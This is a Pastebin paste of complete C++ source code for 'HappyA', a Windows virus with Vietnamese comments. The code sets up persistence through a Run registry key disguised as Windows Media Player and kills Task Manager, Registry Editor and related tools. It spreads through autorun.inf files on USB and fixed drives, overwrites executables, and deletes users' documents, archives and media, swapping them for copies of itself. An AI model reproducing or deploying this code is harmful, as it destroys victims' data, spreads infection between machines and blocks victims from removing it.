Advertisement
FlyFar

HappyA - C++ Virus Source Code

Mar 2nd, 2023 (edited)
940
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 7.19 KB | Cybersecurity | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <conio.h>
  4. #include <string.h>
  5. #define IsDir(a) ((a)&(DWORD)16)
  6. typedef struct data
  7. {
  8. char str[260];
  9. data *lin;
  10. };
  11. data *p1,*p2;
  12. char vp[260],sysp[260],expp[260],wp[260],duoi[260];
  13. DWORD vs;
  14. //===============================
  15. void init(void);
  16. DWORD WINAPI baove(LPVOID);//xong
  17. void tancong(void);//xong
  18. void push1(char s[260]);//xong
  19. void push2(char s[260]);//xong
  20. char *pop1(void);//xong
  21. void ktpre(void);//xong
  22. void init(void);
  23. void ghiautorun(char s[260]);//xong
  24. int thoatusb(void);//xong
  25. //===============================
  26. int WINAPI WinMain (HINSTANCE hThisInstance,
  27. HINSTANCE hPrevInstance,
  28. LPSTR lpszArgument,
  29. int nFunsterStil)
  30.  
  31. {
  32. DWORD dth;
  33. HANDLE hth;
  34. //khoi tao cho cac duoi cua chuong trinh
  35. strcpy(duoi,"RARZIP");//2
  36. strcat(duoi,"GHOPDFCHM");//5
  37. strcat(duoi,"DOCXLSPPT");//8
  38. strcat(duoi,"MP3WMA");//10
  39. strcat(duoi,"WMVAVI3GP");//13
  40. strcat(duoi,"DATVCDISONRG");//17
  41. //inventor
  42. strcat(duoi,"IAMIPTIPNDWGIDW");//22
  43. //flash
  44. strcat(duoi,"SWFFLV");//24
  45. //slw
  46. strcat(duoi,"ASM");//25
  47. //xong phan khoi tao cho duoi
  48. init();
  49. hth=CreateThread(NULL,0,baove,0,0,&dth);
  50. while(1)
  51. tancong();
  52. return 0;
  53. }
  54. //mo ta cac ham dung trong chuong trinh chinh
  55. //==================================
  56. void push1(char s[260])
  57. {
  58. data *p;
  59. p=new data;
  60. strcpy(p->str,s);
  61. p->lin=p1;
  62. p1=p;
  63. }
  64. //=================================
  65. void push2(char s[260])
  66. {
  67. data *p;
  68. p=new data;
  69. strcpy(p->str,s);
  70. p->lin=p2;
  71. p2=p;
  72. }
  73. //===================================
  74. char *pop1(void)
  75. {
  76. data *p;
  77. char s[260];
  78. p=p1->lin;
  79. strcpy(s,p1->str);
  80. delete p1;
  81. p1=p;
  82. return s;
  83. }
  84. //==================================
  85. //===================================
  86. DWORD WINAPI baove(LPVOID)
  87. {
  88. HWND hw;
  89. while(1)
  90. {
  91. hw=FindWindow(NULL,"Registry Editor");
  92. if(hw!=NULL)
  93. {
  94. SendMessage(hw,WM_CLOSE,0,0);
  95. CloseHandle((HANDLE)hw);
  96. }
  97. hw=FindWindow(NULL,"System Configuration Utility");
  98. if(hw!=NULL)
  99. {
  100. SendMessage(hw,WM_CLOSE,0,0);
  101. CloseHandle((HANDLE)hw);
  102. }
  103. hw=FindWindow(NULL,"Group Policy");
  104. if(hw!=NULL)
  105. {
  106. SendMessage(hw,WM_CLOSE,0,0);
  107. CloseHandle((HANDLE)hw);
  108. }
  109. hw=FindWindow(NULL,"Windows Task Manager");
  110. if(hw!=NULL)
  111. {
  112. SendMessage(hw,WM_CLOSE,0,0);
  113. CloseHandle((HANDLE)hw);
  114. }
  115. }
  116. }
  117. //=======================================
  118. int thoatusb(void)
  119. {
  120. HWND hw;
  121. hw=FindWindow(NULL,"Safely Remove Hardware");
  122. if(hw!=NULL)
  123. {
  124. CloseHandle((HANDLE)hw);
  125. return 1;
  126. }
  127. hw=FindWindow(NULL,"Safely Remove USB Disks");
  128. if(hw!=NULL)
  129. {
  130. CloseHandle((HANDLE)hw);
  131. return 1;
  132. }
  133. return 0;
  134. }
  135. //==============================================
  136. void ktpre(void)
  137. {
  138. ULARGE_INTEGER ula,ulb,ulc;
  139. char cdr[260];
  140. strcpy(cdr,"c:");
  141. p1=NULL;
  142. for(cdr[0]='c';cdr[0]<='z';++cdr[0])
  143. {
  144. if(GetDiskFreeSpaceEx(cdr,&ula,&ulb,&ulc)&&(GetDriveType(cdr)==DRIVE_REMOVABLE||GetDriveType( cdr)==DRIVE_FIXED))
  145. push1(cdr);
  146. }
  147. }
  148. //==============================================
  149. void ghiautorun(char s[260])
  150. {
  151. HANDLE h;
  152. WIN32_FIND_DATA wfd;
  153. char tg[260];
  154. strcpy(tg,s);
  155. strcat(tg,"\\HappyA.exe");
  156. h=FindFirstFile(tg,&wfd);
  157. if(h==INVALID_HANDLE_VALUE)
  158. {
  159. //truong hop khong co file nao thoa man
  160. CopyFile(vp,tg,FALSE);
  161. }
  162. else
  163. {
  164. if(wfd.nFileSizeLow!=vs)
  165. {
  166. CopyFile(vp,tg,FALSE);
  167. }
  168. CloseHandle(h);
  169. }
  170. strcpy(tg,s);
  171. strcat(tg,"\\autorun.inf");
  172. h=FindFirstFile(tg,&wfd);
  173. if(h==INVALID_HANDLE_VALUE)
  174. {
  175. //truong hop khong ton tai
  176. FILE *f;
  177. f=fopen(tg,"wt");
  178. fputs("[autorun]\n",f);
  179. fputs("shell\\open=Open(&O)\n",f);
  180. fputs("shell\\open\\command=HappyA.exe\n",f);
  181. fputs("shell\\open\\default=1\n",f);
  182. fputs("shell\\explorer=Explorer(&X)\n",f);
  183. fputs("shell\\explorer\\command=HappyA.exe\n",f);
  184. fclose(f);
  185. }
  186. else
  187. {
  188. //truong hop day la thu muc thi thoi
  189. if(IsDir(wfd.dwFileAttributes))
  190. {
  191. }
  192. else
  193. {
  194. //xu ly trong truong hop size khac nhau
  195. if(wfd.nFileSizeLow!=vs)
  196. {
  197. FILE *f;
  198. f=fopen(tg,"wt");
  199. fputs("[autorun]\n",f);
  200. fputs("shell\\open=Open(&O)\n",f);
  201. fputs("shell\\open\\command=HappyA.exe\n",f);
  202. fputs("shell\\open\\default=1\n",f);
  203. fputs("shell\\explorer=Explorer(&X)\n",f);
  204. fputs("shell\\explorer\\command=HappyA.exe\n",f);
  205. fclose(f);
  206. }
  207. }
  208. }
  209. }
  210. void tancong(void)
  211. {
  212. char home[260],tg[260];
  213. int n,i,m;
  214. HANDLE h;
  215. WIN32_FIND_DATA wfd;
  216. m=25;
  217. ktpre();
  218. while(p1!=NULL)
  219. {
  220. p2=NULL;
  221. while(p1!=NULL)
  222. {
  223. strcpy(home,pop1());
  224. n=strlen(home);
  225. if(n==2)
  226. ghiautorun(home);
  227. if(!stricmp(home,wp))
  228. continue;
  229. strcpy(tg,home);
  230. strcat(tg,"\\*.exe");
  231. if(thoatusb())
  232. Sleep(5000);
  233. h=FindFirstFile(tg,&wfd);
  234. if(h!=INVALID_HANDLE_VALUE)
  235. {
  236. if(wfd.nFileSizeLow!=vs)
  237. {
  238. strcpy(tg,home);
  239. strcat(tg,"\\");
  240. strcat(tg,wfd.cFileName);
  241. SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL);
  242. CopyFile(vp,tg,FALSE);
  243. }
  244. while(FindNextFile(h,&wfd))
  245. {
  246. if(wfd.nFileSizeLow!=vs)
  247. {
  248. strcpy(tg,home);
  249. strcat(tg,"\\");
  250. strcat(tg,wfd.cFileName);
  251. SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL);
  252. CopyFile(vp,tg,FALSE);
  253. }
  254. }
  255. CloseHandle(h);
  256. }//da choi xong cac file co duoi la exe
  257. //lan luot choi cac file co duoi da liet ke
  258. for(i=0;i<m;++i)
  259. {
  260. if(thoatusb())
  261. Sleep(5000);
  262. strcpy(tg,home);
  263. strcat(tg,"\\*.");
  264. n=strlen(tg);
  265. strncat(tg,duoi+i*3,3);
  266. tg[n+3]='\0';
  267. h=FindFirstFile(tg,&wfd);
  268. if(h!=INVALID_HANDLE_VALUE)
  269. {
  270. strcpy(tg,home);
  271. strcat(tg,"\\");
  272. strcat(tg,wfd.cFileName);
  273. SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL);
  274. DeleteFile(tg);
  275. n=strlen(tg);
  276. tg[n-3]='\0';
  277. strcat(tg,"exe");
  278. CopyFile(vp,tg,TRUE);
  279. while(FindNextFile(h,&wfd))
  280. {
  281. strcpy(tg,home);
  282. strcat(tg,"\\");
  283. strcat(tg,wfd.cFileName);
  284. SetFileAttributes(tg,FILE_ATTRIBUTE_NORMAL);
  285. DeleteFile(tg);
  286. n=strlen(tg);
  287. tg[n-3]='\0';
  288. strcat(tg,"exe");
  289. CopyFile(vp,tg,TRUE);
  290. }
  291. CloseHandle(h);
  292. }
  293. }//da xu ly xong tat ca cac file co duoi da liet ke
  294. //tim cac thu muc con
  295. strcpy(tg,home);
  296. strcat(tg,"\\*.*");
  297. if(thoatusb())
  298. Sleep(5000);
  299. h=FindFirstFile(tg,&wfd);
  300. if(h!=INVALID_HANDLE_VALUE)
  301. {
  302. if(IsDir(wfd.dwFileAttributes)&&(wfd.cFileName[0]!='.'))
  303. {
  304. strcpy(tg,home);
  305. strcat(tg,"\\");
  306. strcat(tg,wfd.cFileName);
  307. push2(tg);
  308. }
  309. while(FindNextFile(h,&wfd))
  310. {
  311. if(IsDir(wfd.dwFileAttributes)&&(wfd.cFileName[0]!='.'))
  312. {
  313. strcpy(tg,home);
  314. strcat(tg,"\\");
  315. strcat(tg,wfd.cFileName);
  316. push2(tg);
  317. }
  318. }
  319. CloseHandle(h);
  320. }
  321. //xong phan tim kiem cac thu muc con
  322. }
  323. p1=p2;
  324. }
  325. }
  326. void init(void)
  327. {
  328. HMODULE hm;
  329. HANDLE h,h1;
  330. WIN32_FIND_DATA wfd;
  331. char tg[260],tg2[260];
  332. GetWindowsDirectory(wp,260);
  333. strcpy(expp,wp);
  334. strcat(expp,"\\explorer.exe");
  335. GetSystemDirectory(sysp,260);
  336. strcat(sysp,"\\WMPlayer.exe");
  337. hm=GetModuleHandle(NULL);
  338. GetModuleFileName(hm,vp,260);//luu tru duong dan cua virus
  339. h1=FindFirstFile(vp,&wfd);
  340. vs=wfd.nFileSizeLow;
  341. strncpy(tg,vp+3,10);
  342. tg[10]='\0';
  343. strncpy(tg2,vp,2);
  344. tg2[2]='\0';
  345. //truong hop neu duoc kich hoat tu 1 file autorun
  346. if(!stricmp(tg,"HappyA.exe"))
  347. {
  348. char ttt[260];
  349. strcpy(ttt,expp);
  350. strcat(ttt," ");
  351. strcat(ttt,tg2);
  352. WinExec(ttt,SW_SHOWDEFAULT);
  353. }
  354. //kiem tra tinh duy nhat trong bo nho
  355. h=CreateMutex(NULL,false,"HappyA Virus for you");
  356. if(GetLastError()==ERROR_ALREADY_EXISTS)
  357. ExitProcess(0);
  358. //neu vp khong phai la sysp thi copy vao
  359. if(stricmp(vp,sysp))
  360. {
  361. CopyFile(vp,sysp,false);
  362. HKEY hKey;
  363. RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
  364. RegSetValueEx(hKey, "Windows Media Player", 0, REG_SZ,(const unsigned char*)sysp, sizeof(sysp));
  365. }
  366. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement